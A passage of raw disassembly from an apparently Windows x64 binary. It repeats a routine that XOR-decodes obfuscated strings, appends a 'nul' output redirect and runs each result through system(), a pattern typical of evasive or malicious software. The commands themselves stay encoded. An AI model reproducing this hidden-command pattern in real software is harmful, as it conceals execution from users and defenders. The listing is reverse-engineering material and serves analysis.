call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2720]
call fcn.14007a350
lea rcx, [rbp + 0x2700]
call fcn.14007a350
xor eax, eax
lea rdx, [rbp + 0x3240]
lea rcx, [rbp + 0x24]
mov byte [rbp + 0x24], al
call fcn.1400732c0
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140058611
mov r8d, r14d
cmp r15d, 2
jl 0x1400585d4
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x1400584e1
cmp r8d, 0x31
jge 0x140058611
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x1400585e0
lea r8, [rbp + 0x26e0]
mov rdx, r10
lea rcx, [rbp + 0x2740]
call fcn.14007aeb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2760]
call fcn.14007af20
mov rcx, rax
call fcn.14007a240
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2760]
call fcn.14007a350
lea rcx, [rbp + 0x2740]
call fcn.14007a350
xor eax, eax
lea rdx, [rbp + 0x3271]
lea rcx, [rbp + 0x25]
mov byte [rbp + 0x25], al
call fcn.1400732f0
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x1400587d1
mov r8d, r14d
cmp r15d, 2
jl 0x140058794
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x1400586a1
cmp r8d, 0x31
jge 0x1400587d1
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x1400587a0
lea r8, [rbp + 0x26e0]
mov rdx, r10
lea rcx, [rbp + 0x2780]
call fcn.14007aeb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x27a0]
call fcn.14007af20
mov rcx, rax
call fcn.14007a240
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x27a0]
call fcn.14007a350
lea rcx, [rbp + 0x2780]
call fcn.14007a350
xor eax, eax
lea rdx, [rbp + 0x32a2]
lea rcx, [rbp + 0x26]
mov byte [rbp + 0x26], al
call fcn.140073320
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140058991
mov r8d, r14d
cmp r15d, 2
jl 0x140058954
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140058861
cmp r8d, 0x31
jge 0x140058991
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x140058960
lea r8, [rbp + 0x26e0]
mov rdx, r10
lea rcx, [rbp + 0x27c0]
call fcn.14007aeb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x27e0]
call fcn.14007af20
mov rcx, rax
call fcn.14007a240
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x27e0]
call fcn.14007a350
lea rcx, [rbp + 0x27c0]
call fcn.14007a350
xor eax, eax
lea rdx, [rbp + 0x32d3]
lea rcx, [rbp + 0x27]
mov byte [rbp + 0x27], al
call fcn.140073350
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140058b51
mov r8d, r14d
cmp r15d, 2
jl 0x140058b14
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140058a21
cmp r8d, 0x31
jge 0x140058b51
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x140058b20
lea r8, [rbp + 0x26e0]
mov rdx, r10
lea rcx, [rbp + 0x2800]
call fcn.14007aeb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2820]
call fcn.14007af20
mov rcx, rax
call fcn.14007a240
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2820]
call fcn.14007a350
lea rcx, [rbp + 0x2800]
call fcn.14007a350
xor eax, eax
lea rdx, [rbp + 0x3304]
lea rcx, [rbp + 0x28]
mov byte [rbp + 0x28], al
call fcn.140073380
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140058d11
mov r8d, r14d
cmp r15d, 2
jl 0x140058cd4
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140058be1
cmp r8d, 0x31
jge 0x140058d11
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x140058ce0
lea r8, [rbp + 0x26e0]
mov rdx, r10
lea rcx, [rbp + 0x2840]
call fcn.14007aeb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2860]
call fcn.14007af20
mov rcx, rax
call fcn.14007a240
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2860]
call fcn.14007a350
lea rcx, [rbp + 0x2840]
call fcn.14007a350
xor eax, eax
lea rdx, [rbp + 0x3335]
lea rcx, [rbp + 0x29]
mov byte [rbp + 0x29], al
call fcn.1400733b0
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140058ed1
mov r8d, r14d
cmp r15d, 2
jl 0x140058e94
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140058da1
cmp r8d, 0x31
jge 0x140058ed1
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x140058ea0
lea r8, [rbp + 0x26e0]
mov rdx, r10
lea rcx, [rbp + 0x2880]
call fcn.14007aeb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x28a0]
call fcn.14007af20
mov rcx, rax
call fcn.14007a240
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x28a0]
call fcn.14007a350
lea rcx, [rbp + 0x2880]
call fcn.14007a350
xor eax, eax
lea rdx, [rbp + 0x3a82]
lea rcx, [rbp + 0x2a]
mov byte [rbp + 0x2a], al
call fcn.1400733e0
mov r10, rax
cmp byte [rax + 0x39], 0
je 0x140059091
mov r8d, r14d
cmp r15d, 2
jl 0x140059054
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x140058f61
cmp r8d, 0x3a
jge 0x140059091
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x3a
jl 0x140059060
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x3366]
lea rcx, [rbp + 0x2b]
mov byte [rbp + 0x2b], al
call fcn.140073420
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140059211
mov r8d, r14d
cmp r15d, 2
jl 0x1400591d3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x1400590e0
cmp r8d, 0x31
jge 0x140059211
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x1400591e0
lea r8, [rbp + 0x26e0]
mov rdx, r10
lea rcx, [rbp + 0x28c0]
call fcn.14007aeb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x28e0]
call fcn.14007af20
mov rcx, rax
call fcn.14007a240
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x28e0]
call fcn.14007a350
lea rcx, [rbp + 0x28c0]
call fcn.14007a350
xor eax, eax
lea rdx, [rbp + 0x3397]
lea rcx, [rbp + 0x2c]
mov byte [rbp + 0x2c], al
call fcn.140073450
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x1400593d1
mov r8d, r14d
cmp r15d, 2
jl 0x140059394
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x1400592a1
cmp r8d, 0x31
jge 0x1400593d1
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x1400593a0
lea r8, [rbp + 0x26e0]
mov rdx, r10
lea rcx, [rbp + 0x2900]
call fcn.14007aeb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2920]
call fcn.14007af20
mov rcx, rax
call fcn.14007a240
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2920]
call fcn.14007a350
lea rcx, [rbp + 0x2900]
call fcn.14007a350
xor eax, eax
lea rdx, [rbp + 0x33c8]
lea rcx, [rbp + 0x2d]
mov byte [rbp + 0x2d], al
call fcn.140073480
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140059591
mov r8d, r14d
cmp r15d, 2
jl 0x140059554
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140059461
cmp r8d, 0x31
jge 0x140059591
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x140059560
lea r8, [rbp + 0x26e0]
mov rdx, r10
lea rcx, [rbp + 0x2940]
call fcn.14007aeb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2960]
call fcn.14007af20
mov rcx, rax
call fcn.14007a240
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2960]
call fcn.14007a350
lea rcx, [rbp + 0x2940]
call fcn.14007a350
xor eax, eax
lea rdx, [rbp + 0x33f9]
lea rcx, [rbp + 0x2e]
mov byte [rbp + 0x2e], al
call fcn.1400734b0
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140059751
mov r8d, r14d
cmp r15d, 2
jl 0x140059714
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140059621
cmp r8d, 0x31
jge 0x140059751
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x140059720
lea r8, [rbp + 0x26e0]
mov rdx, r10
lea rcx, [rbp + 0x2980]
call fcn.14007aeb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x29a0]
call fcn.14007af20
mov rcx, rax
call fcn.14007a240
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x29a0]
call fcn.14007a350
lea rcx, [rbp + 0x2980]
call fcn.14007a350
xor eax, eax
lea rdx, [rbp + 0x342a]
lea rcx, [rbp + 0x2f]
mov byte [rbp + 0x2f], al
call fcn.1400734e0
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140059911
mov r8d, r14d
cmp r15d, 2
jl 0x1400598d4
